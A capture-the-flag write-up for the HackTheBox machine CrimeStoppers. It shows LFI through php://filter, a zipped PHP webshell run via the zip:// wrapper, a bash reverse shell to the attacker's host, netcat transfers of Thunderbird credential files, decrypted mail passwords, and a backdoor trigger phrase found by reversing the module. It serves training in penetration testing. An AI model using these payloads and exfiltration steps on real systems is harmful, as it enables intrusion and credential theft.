HTB WriteUps
  • â„šī¸Main Page
  • 👨‍đŸ’ģwhoami
  • Linux Machines
    • Lame
    • Shocker
    • Beep
    • Jarvis
    • Europa
    • Knife
    • Irked
    • Postman
    • Mango
    • Cap
    • Writer
    • Bashed
    • Nibbles
    • Valentine
    • SwagShop
    • Tabby
    • SolidState
    • Doctor
    • OpenAdmin
    • Haircut
    • Blocky
    • Time
    • Passage
    • Mirai
    • Popcorn
    • Magic
    • Delivery
    • Blunder
    • BountyHounter
    • Cronos
    • TartarSauce
    • Ophiuchi
    • Seal
    • Ready
    • Admirer
    • Traverxec
    • Nineveh
    • FriendZone
    • Frolic
    • SneakyMailer
    • Brainfuck
    • Jewel
    • Node
    • Networked
    • Joker
    • RedCross
    • Static
    • Zetta
    • Kotarak
    • Falafel
    • DevOops
    • Hawk
    • Lightweight
    • LaCasaDePapel
    • Jail
    • Safe
    • Bitlab
    • October
    • Book
    • Quick
    • Sink
    • Pit
    • Monitors
    • Unobtainium
    • Inception
    • Compromised
    • CrimeStoppers
    • OneTwoSeven
    • Oz
    • Ellingson
    • Holiday
    • FluJab
    • Spider
    • CTF
  • Windows Machines
    • Jerry
    • Love
    • Arctic
    • Forest
    • Fuse
    • Bastard
    • Silo
    • Devel
    • Remote
    • ServMon
    • Blue
    • Grandpa
    • Legacy
    • SecNotes
    • Omni
    • Active
    • Granny
    • Optimum
    • Worker
    • Bastion
    • Bounty
    • Buff
    • Breadcrums
    • Reel
    • Reel2
    • Conceal
    • Bankrobber
    • Jeeves
    • Bart
    • Tally
    • Netmon
    • Sizzle
    • Sniper
    • Control
    • Nest
    • Sauna
    • Cascade
    • Querier
    • Blackfield
    • APT
    • Atom
  • OTHER OS MACHINES
    • Sense
    • Luanne
    • Poison
    • Schooled
Powered by GitBook
On this page
  • Enumeration
  • Exploitation
  • Privilege Escalation

Was this helpful?

  1. Linux Machines

CrimeStoppers

Last updated 2 years ago

Was this helpful?

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.80 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

# Nmap 7.93 scan initiated Wed May  3 16:00:03 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.80
Nmap scan report for 10.10.10.80
Host is up (0.052s latency).
Not shown: 65502 filtered tcp ports (no-response), 32 filtered tcp ports (host-prohibited)
PORT   STATE SERVICE
80/tcp open  http

# Nmap done at Wed May  3 16:00:30 2023 -- 1 IP address (1 host up) scanned in 26.53 seconds

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80 10.10.10.80 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

## Nmap 7.93 scan initiated Wed May  3 16:00:41 2023 as: nmap -sCV -p80 -Pn -n -oN targeted 10.10.10.80
Nmap scan report for 10.10.10.80
Host is up (0.040s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.25 ((Ubuntu))
|_http-title: FBIs Most Wanted: FSociety
|_http-server-header: Apache/2.4.25 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May  3 16:00:49 2023 -- 1 IP address (1 host up) scanned in 7.74 seconds

The website is based on the Mr Robot TV show, and as we can see, it has the Home and Upload sections.

There is one cookie called admin set to 0.

curl -I http://10.10.10.80

HTTP/1.1 200 OK
Date: Fri, 05 May 2023 17:48:57 GMT
Server: Apache/2.4.25 (Ubuntu)
Set-Cookie: admin=0
Content-Type: text/html; charset=UTF-8

If we change it to 1, we'll see one more section called List.

There is one file called Whiterose.txt in the List section.

Which has a note saying that there is a way to get RCE with a vulnerable GET parameter. Let's keep this in mind.

Let's keep enumerating the site by doing subdirectories enumeration with gobuster.

gobuster dir -u http://10.10.10.80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x php

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

  • -x file extensions to search for.

===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.80
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2023/05/05 17:41:47 Starting gobuster in directory enumeration mode
===============================================================
/view.php             (Status: 200) [Size: 0]
/common.php           (Status: 200) [Size: 0]
/uploads              (Status: 301) [Size: 312] [--> http://10.10.10.80/uploads/]
/list.php             (Status: 200) [Size: 0]
/upload.php           (Status: 200) [Size: 0]
/css                  (Status: 301) [Size: 308] [--> http://10.10.10.80/css/]
/js                   (Status: 301) [Size: 307] [--> http://10.10.10.80/js/]
/javascript           (Status: 301) [Size: 315] [--> http://10.10.10.80/javascript/]
/home.php             (Status: 200) [Size: 0]
/fonts                (Status: 301) [Size: 310] [--> http://10.10.10.80/fonts/]
/.php                 (Status: 403) [Size: 290]
/images               (Status: 301) [Size: 311] [--> http://10.10.10.80/images/]
/index.php            (Status: 200) [Size: 4213]
/.php                 (Status: 403) [Size: 290]
/server-status        (Status: 403) [Size: 299]
Progress: 440685 / 441122 (99.90%)
===============================================================
2023/05/05 17:44:03 Finished
===============================================================

The /uploads directory shows an image saying to read the source code.

The Upload section allows us to send tips using a form.

There is a comment in the source code of the page saying that a file is created for each tip that is submitted.

...
<!-- #59: SQL Injection in Tip Submission - Removed database requirement by changing submit tip to create a file. -->
...

Note that if we access the home page for example, the URL is loading the home.php file because of the op=home GET parameter.

curl http://10.10.10.80/?op=home

<!DOCTYPE html>
...

Exploitation

We could try to see if the op GET parameter to a Local File Inclusion vulnerability. Instead of loading the home.php file, we could try to get its content with a base64 wrapper. Note that we don't need to add the .php extension because it might be added automatically by the server.

curl -s "http://10.10.10.80/?op=php://filter/convert.base64-encode/resource=home"

<!DOCTYPE html>
<html lang="en">
<head>
 <meta charset="utf-8">
 <meta http-equiv="X-UA-Compatible" content="IE=edge">
 <meta name="viewport" content="width=device-width, initial-scale=1">
 <meta name="description" content="">
 <meta name="author" content="">
 <title>FBIs Most Wanted: FSociety</title>
 <!-- Bootstrap Core CSS -->
 <link href="css/bootstrap.min.css" rel="stylesheet">
 <!-- Custom CSS -->
 <link href="css/portfolio-item.css" rel="stylesheet">
</head>
<body>
<!-- Navigation -->
<nav class="navbar navbar-inverse navbar-fixed-top" role="navigation">
  <div class="container">
    <div class="navbar-header">
       <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1">
         <span class="sr-only">Toggle navigation</span>
         <span class="icon-bar"></span>
         <span class="icon-bar"></span>
         <span class="icon-bar"></span>
       </button>
       <a class="navbar-brand" href="?op=home">Home</a>
     </div>
                                                                                                                                                             <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">
       <ul class="nav navbar-nav">
         <li><a href="?op=upload">Upload</a></li>
                </ul>
     </div>
  </div>
</nav>

PD9wa...gPGhyPgoK       
<footer>
            <div class="row">
                <div class="col-lg-12">
                <p>Copyright &copy; Non Profit Satire 2017</p>
                </div>
            </div>
            <!-- /.row -->
        </footer>

    </div>
    <!-- /.container -->

    <!-- jQuery -->
    <script src="js/jquery.js"></script>

            <!-- Bootstrap Core JavaScript -->
                        <script src="js/bootstrap.min.js"></script>

        </body>

                </html>

Get the base64 string, and decode it to see the home.php code.

curl -s "http://10.10.10.80/?op=php://filter/convert.base64-encode/resource=home" | awk "/<\/nav>/,/<footer>/" | sed 's/<footer>//g' | sed 's/<\/nav>//g' | tr -d "\n" | base64 -d

<?php
include 'common.php';
?>

    <!-- Page Content -->

...

Now that we know that the op GET parameter is vulnerable to LFI, we could try to upload a malicious ZIP file using the upload.php file, and use the zip:// wrapper to get RCE. First, create a simple webshell, and compressed it to a ZIP file.

echo "<?php system($_GET['cmd']);?>" > pwn.php

zip pwn.zip pwn.php

Now we need to know how upload request works. Let's upload a tip, and see the request.

Now that we know what it takes to send an upload request, send the pwn.zip file as the tip. Make sure to add the PHPSESSID cookie and the token, which you can find in the source code of the Upload section.

curl -s -X POST 'http://10.10.10.80/?op=upload' -F 'tip=<pwn.zip' -F 'name=pwned' -F 'token=1ef2b6080dc62b0142d59a90154a9b11d609ab05562385d2056700ddde732779' -F 'submit=Send Tip!' -H "Cookie: admin=1; PHPSESSID=phuvogp78reo27i6a6f1tktve1"

If we take a look at the source code of the upload.php file, we'll see that when a new tip is created, it is stored in a folder named with the IP address of the client who send the tip.

curl -s "http://10.10.10.80/?op=php://filter/convert.base64-encode/resource=upload" | awk "/<\/nav>/,/<footer>/" | sed 's/<footer>//g' | sed 's/<\/nav>//g' | tr -d "\n" | base64 -d

...
if(isset($_POST['submit']) && isset($_POST['tip'])) {
        // CSRF Token to help ensure this user came from our submission form.
        if (!empty($_POST['token'])) {
            if (hash_equals($token, $_POST['token'])) {
                $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
                // Place tips in the folder of the client IP Address.
                if (!is_dir('uploads/' . $client_ip)) {
                    mkdir('uploads/' . $client_ip, 0755, false);
                }
                $tip = $_POST['tip'];
                $secretname = genFilename();
                file_put_contents("uploads/". $client_ip . '/' . $secretname,  $tip);
                header("Location: ?op=view&secretname=$secretname");
           } else {
                print 'Hacker Detected.';
                print $token;
                die();
         }
        }
}
...

Indeed, there is a directory named with my IP address inside the /uploads directory.

Now that we know where the ZIP file is located, use the zip:// wrapper to run commands on the server.

curl -s "http://10.10.10.80/?op=zip://uploads/10.10.14.14/88f9e44556ea3ea76f851c8be26b72eda3f5042b%23pwn&cmd=whoami" | awk "/<\/nav>/,/<footer>/" | sed 's///g' | sed 's/<\/nav>//g' | tr -d "\n"

www-data

Time to get a shell. Set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Then, send the reverse shell to get access to the server as www-data. Then, we'll be able to grab the user flag.

curl -s "http://10.10.10.80/?op=zip://uploads/10.10.14.14/88f9e44556ea3ea76f851c8be26b72eda3f5042b%23pwn&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.14/4444+0>%261'" | awk "/<\/nav>/,/<footer>/" | sed 's/<footer>//g' | sed 's/<\/nav>//g' | tr -d "\n"

Listening on 0.0.0.0 4444
Connection received on 10.10.10.80 51360
bash: cannot set terminal process group (861): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html$ whoami
whoami
www-data
www-data@ubuntu:/var/www/html$ cat /home/dom/user.txt 
75093036d910dc7c4e84de4d8b1f9312

Privilege Escalation

First, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

reset

Terminal type? xterm

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command in our local machine:

stty size

51 236

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

There is one hidden directory called .thunderbird inside the home directory of dom.

ls -la /home/dom/

total 44
drwxr-xr-x 5 dom  dom  4096 Dec 25  2017 .
drwxr-xr-x 3 root root 4096 Dec 16  2017 ..
-rw------- 1 dom  dom    52 Dec 16  2017 .Xauthority
-rw------- 1 dom  dom     5 Dec 22  2017 .bash_history
-rw-r--r-- 1 dom  dom   220 Dec 16  2017 .bash_logout
-rw-r--r-- 1 dom  dom  3771 Dec 16  2017 .bashrc
drwx------ 2 dom  dom  4096 Dec 16  2017 .cache
-rw-r--r-- 1 dom  dom   675 Dec 16  2017 .profile
drwx------ 2 dom  dom  4096 Dec 25  2017 .ssh
-rw-r--r-- 1 dom  dom     0 Dec 16  2017 .sudo_as_admin_successful
drw-r-xr-x 3 root root 4096 Dec 16  2017 .thunderbird
-r--r--r-- 1 root root   33 May  5 10:36 user.txt

Inside there are two files called logins.json and key3.db which contain encrypted credentials.

ls -la /home/dom/.thunderbird/36jinndk.default/

total 8020
...
-rw-r-xr-x 1 root root   16384 Dec 16  2017 key3.db
...
-rw-r-xr-x 1 root root    1114 Dec 16  2017 logins.json
...

nc -lvnp 5555 > key3.db

nc 10.10.14.14 5555 < /home/dom/.thunderbird/36jinndk.default/key3.db

nc -lvnp 5555 > logins.json

nc 10.10.14.14 5555 < /home/dom/.thunderbird/36jinndk.default/logins.json

Now, run the script to decrypt the credentials.

python firepwd.py

 SEQUENCE {
   SEQUENCE {
     OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 pbeWithSha1AndTripleDES-CBC
     SEQUENCE {
       OCTETSTRING b'681d6c187017961833ed4f17867483804a253d2b'
       INTEGER b'01'
     }
   }
   OCTETSTRING b'541a1eea2c20aebddc673d6959abe1bb4fa346728a77961faf1fbc6c0b5793b34622158ce41ff9bb5c0d04ffe2a4eadcb705353cc335fe5c64e52b30c217c581567d827886fa1bb57285bc8f82ddf219441bdd30587fb70dee5e50cb9b575c52'
 }
decrypting privKeyData
 SEQUENCE {
   INTEGER b'00'
   SEQUENCE {
     OBJECTIDENTIFIER 1.2.840.113549.1.1.1 pkcs-1
     NULL 0
   }
   OCTETSTRING b'3042020100021100f8000000000000000000000000000001020100021840731af491d3fe7a9d198c54fb46ef233bd0b51f7c580768020100020100020100020100020115'
 }
decoding b'3042020100021100f8000000000000000000000000000001020100021840731af491d3fe7a9d198c54fb46ef233bd0b51f7c580768020100020100020100020100020115'
 SEQUENCE {
   INTEGER b'00'
   INTEGER b'00f8000000000000000000000000000001'
   INTEGER b'00'
   INTEGER b'40731af491d3fe7a9d198c54fb46ef233bd0b51f7c580768'
   INTEGER b'00'
   INTEGER b'00'
   INTEGER b'00'
   INTEGER b'00'
   INTEGER b'15'
 }
decrypting login/password pairs
imap://crimestoppers.htb:b'dom@crimestoppers.htb',b'Gummer59'
smtp://crimestoppers.htb:b'dom@crimestoppers.htb',b'Gummer59'

Use that password to become the dom user.

su dom

Password: Gummer59
dom@ubuntu:/var/www/html$ whoami
dom
dom@ubuntu:/var/www/html$ id
uid=1000(dom) gid=1000(dom) groups=1000(dom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),114(lpadmin),115(sambashare)

If we search for files named with the word Sent inside the .thunderbird/36jinndk.default directory, we'll find a few files.

find . -name Sent 2>/dev/null

./ImapMail/crimestoppers.htb/Sent-1.msf
./ImapMail/crimestoppers.htb/Sent.msf
./ImapMail/crimestoppers.htb/Sent-1

The Sent-1 file has a list of emails. The last one has some interesting information.

cat ./ImapMail/crimestoppers.htb/Sent-1

...
From 
To: elliot@ecorp.htb
From: dom <dom@crimestoppers.htb>
Subject: Potential Rootkit
Message-ID: <54814ded-5024-79db-3386-045cd5d205b2@crimestoppers.htb>
Date: Sat, 16 Dec 2017 12:55:24 -0800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.0
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
Content-Language: en-US

Elliot.

We got a suspicious email from the DarkArmy claiming there is a Remote 
Code Execution bug on our Webserver.  I don't trust them and ran 
rkhunter, it reported that there a rootkit installed called: 
apache_modrootme backdoor.

According to my research, if this rootkit was on the server I should be 
able to run "nc localhost 80" and then type "get root" to get a root 
shell.   However, the server just errors out without providing any shell 
at all.  Would you mind checking if this is a false positive?

Apparently. there is a rootkit installed on the web server called apache_modrootme. By connecting to port 80 and sending the get root string, a shell as root should be spawned.

nc localhost 80

get root
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.25 (Ubuntu) Server at 127.0.1.1 Port 80</address>
</body></html>

But this doesn't happen. Maybe it is because the string that we have to enter is a different one. There is one apache2 module called mod_rootme.so.

find / -name rootme 2>/dev/null

/usr/lib/apache2/modules/mod_rootme.so
/etc/apache2/mods-enabled/rootme.load
/etc/apache2/mods-available/rootme.load

Transfer it to our local machine.

nc -lvnp 5555 > mod_rootme.so

nc 10.10.14.14 5555 < /usr/lib/apache2/modules/mod_rootme.so

Now, let's use radare2 to inspect the binary more in depth.

radare2 mod_rootme.so

[0x00000f70]> aaa

[0x00000f70]> afl

[0x00000f70]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information (aanr)
[x] Integrate dwarf function information.
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00000f70]> afl
...
0x00001ac0    3 61           dbg.darkarmy
...

There is one function called darkarmy, which is doing an XOR operation between the HackTheBox string and the content in the 0x00001bf2 address.

[0x00000f70]> s dbg.darkarmy

[0x00001ac0]> pdf

            ;-- darkarmy:
            ; CALL XREF from dbg.rootme_post_read_request @ 0x1b2a
┌ 61: dbg.darkarmy (char *secret_phrase);
│           ; arg char *secret_phrase @ rax
│           0x00001ac0      bf0b000000     mov edi, 0xb                ; mod_rootme.c:36 ; size_t size ; char * darkarmy();
│           0x00001ac5      4883ec08       sub rsp, 8
│           0x00001ac9      e852f4ffff     call sym.imp.malloc         ; mod_rootme.c:40 ;  void *malloc(size_t size)
│           0x00001ace      488d3d1d0100.  lea rdi, [0x00001bf2]
│           0x00001ad5      488d35210100.  lea rsi, str.HackTheBox     ; 0x1bfd ; "HackTheBox"
│           0x00001adc      31d2           xor edx, edx
│           0x00001ade      6690           nop
│           ; CODE XREF from dbg.darkarmy @ 0x1af2
│       ┌─> 0x00001ae0      0fb60c17       movzx ecx, byte [rdi + rdx] ; mod_rootme.c:44
│       ╎   0x00001ae4      320c16         xor cl, byte [rsi + rdx]
│       ╎   0x00001ae7      880c10         mov byte [rax + rdx], cl
│       ╎   0x00001aea      4883c201       add rdx, 1
│       ╎   0x00001aee      4883fa0a       cmp rdx, 0xa                ; mod_rootme.c:43
│       └─< 0x00001af2      75ec           jne 0x1ae0
│           0x00001af4      c6400a00       mov byte [rax + 0xa], 0     ; mod_rootme.c:46
│           0x00001af8      4883c408       add rsp, 8                  ; mod_rootme.c:49
└           0x00001afc      c3             ret

Let' see what is stored in that address.

[0x00001ac0]> px @0x00001bf2

- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00001bf2  0e14 0d38 3b0b 0c27 1b01 0048 6163 6b54  ...8;..'...HackT                                                                         
0x00001c02  6865 426f 7800 6d6f 645f 726f 6f74 6d65  heBox.mod_rootme
0x00001c12  2e63 0000 0000 2f76 6172 2f77 7777 2f68  .c..../var/www/h
0x00001c22  746d 6c2f 7570 6c6f 6164 732f 7768 6974  tml/uploads/whit
0x00001c32  6572 6f73 652e 7478 7400 0000 0000 011b  erose.txt.......
0x00001c42  033b 5c00 0000 0a00 0000 20f2 ffff 7800  .;\....... ...x.
0x00001c52  0000 30f2 ffff a000 0000 30f4 ffff b800  ..0.......0.....
0x00001c62  0000 80f6 ffff f000 0000 f0f6 ffff 1801  ................
0x00001c72  0000 a0fa ffff 6801 0000 40fe ffff b801  ......h...@.....
0x00001c82  0000 70fe ffff d001 0000 80fe ffff e801  ..p.............
0x00001c92  0000 c0fe ffff 0002 0000 0000 0000 1400  ................
0x00001ca2  0000 0000 0000 017a 5200 0178 1001 1b0c  .......zR..x....
0x00001cb2  0708 9001 0000 2400 0000 1c00 0000 a0f1  ......$.........
0x00001cc2  ffff 1000 0000 000e 1046 0e18 4a0f 0b77  .........F..J..w
0x00001cd2  0880 003f 1a3b 2a33 2422 0000 0000 1400  ...?.;*3$"......
0x00001ce2  0000 4400 0000 88f1 ffff f800 0000 0000  ..D.............

Open a python terminal, and do the XOR operation.

python

>>> string1 = bytearray(b"\x0e\x14\x0d\x38\x3b\x0b\x0c\x27\x1b\x01")
>>> string2 = bytearray(b"HackTheBox")
>>> for i in range(0, 10):
...     result += chr(string1[i] ^ string2[i])
... 
>>> print(result)
FunSociety

Finally, if we enter the get FunSociety string, we'll get a shell as root. Then all we have to do is reap the harvest and take the root flag.

nc localhost 80

get FunSociety
rootme-0.5 DarkArmy Edition Ready
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
c41b14de381ad6687b1300ec929cd3dd

Let's transfer the file to the directory where the tool is located.

firepwd.py